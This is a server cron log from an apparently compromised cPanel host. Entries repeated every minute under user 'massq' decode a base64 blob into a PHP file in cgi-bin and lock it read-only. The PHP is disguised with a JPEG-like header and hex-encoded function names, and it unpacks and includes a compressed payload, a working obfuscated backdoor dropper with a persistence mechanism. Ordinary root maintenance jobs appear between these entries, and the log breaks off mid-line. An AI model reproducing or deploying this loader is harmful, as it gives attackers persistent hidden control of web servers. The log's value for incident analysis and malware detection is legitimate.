Apr  6 15:13:01 server CROND[10793]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 15:14:01 server CROND[10963]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 15:15:01 server CROND[11030]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 15:15:01 server CROND[11031]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 15:15:01 server CROND[11032]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 15:16:01 server CROND[11147]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 15:17:01 server CROND[11220]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 15:18:01 server CROND[11290]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 15:19:01 server CROND[11368]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 15:20:01 server CROND[11529]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 15:20:01 server CROND[11537]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 15:20:01 server CROND[11539]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 15:20:01 server CROND[11536]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 15:20:01 server CROND[11540]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  6 15:21:01 server CROND[11656]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 15:22:01 server CROND[11716]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 15:23:01 server CROND[11798]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 15:24:01 server CROND[11892]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 15:25:01 server CROND[12052]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 15:25:01 server CROND[12054]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 15:25:01 server CROND[12057]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 15:26:01 server CROND[12173]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQK